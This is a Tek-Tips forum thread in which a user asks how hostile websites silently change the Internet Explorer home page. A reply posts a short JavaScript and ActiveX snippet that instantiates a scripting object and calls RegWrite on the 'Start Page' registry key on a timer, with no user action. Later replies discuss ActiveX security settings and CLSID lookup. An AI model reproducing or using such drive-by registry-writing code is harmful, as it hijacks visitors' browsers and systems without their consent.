Tek-Tips is the largest IT community on the Internet today!

Members share and learn making Tek-Tips Forums the best source of peer-reviewed technical information on the Internet!

  • Congratulations gkittelson on being selected by the Tek-Tips community for having the most helpful posts in the forums last week. Way to Go!

Changing the default home page 1

Status
Not open for further replies.

Rydel

Programmer
Feb 5, 2001
376
CZ
I've noticed that some nasty pages (like porno, phreak, hack, mp3) manage to change my home page setting without my knowledge or any user intervention. I looked through the ActiveX code that was listed in this thread - thread215-164843 and use the code there. I just replaced one line there:
Instead of "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "My Browser" I put "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "Unfortuntely, it gives "Error on page". Anyone out there whou could help me out? Thanks!

Regards,
Rydel ---
---
 
The code is :

<applet height=&quot;0&quot; width=&quot;0&quot; code=&quot;com.ms.activeX.ActiveXComponent&quot;>
</applet>
<script>
function add_start(){
try{a0=document.applets[0];
a0.setCLSID(&quot;{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}&quot;);
a0.createInstance( );
Sh0 = a0.GetObject();
a0.setCLSID(&quot;{0D43FE01-F093-11CF-8940-00A0C9054228}&quot;);
try{ Sh0.RegWrite(&quot;HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page&quot;,&quot; }
catch(e){}}catch(e){}}setTimeout(&quot;add_start()&quot;,1000);
</script> Regards

Big Dave

davidbyng@hotmail.com


** If I am wrong I am sorry, but i'm only trying to help!! **
 
David, thanks a lot. I am very happy to give you a star. You actually had an extra semicolon, but that's trifles. I put a working sample here for both functions:
I have an additional question. Where would I find out all the CLSID's for these kind of items? And what would you recommend to read about ActiveX (either an on-line resource or books). Thanks in advance.

---
---
 
The reason it works in some browsers and not others, is to do with the security settings in the browser, ie. allow activex applets or not. Regards

Big Dave

davidbyng@hotmail.com


** If I am wrong I am sorry, but i'm only trying to help!! **

 
I checked the security settings before posting, and ActiveX components are enabled. As well Rydel, I tested from your site, and no go, thats where I was getting the error from.

I get &quot;(ActiveX Component) can't be instantiated&quot;
 
>>Where would I find out all the CLSID's for these kind of items?

try to look in HKCR\\CLSID

(regedit -> HKEY_CLASSES_ROOT\CLSID\*.*)
Victor
 
Status
Not open for further replies.

Part and Inventory Search

Sponsor

Back
Top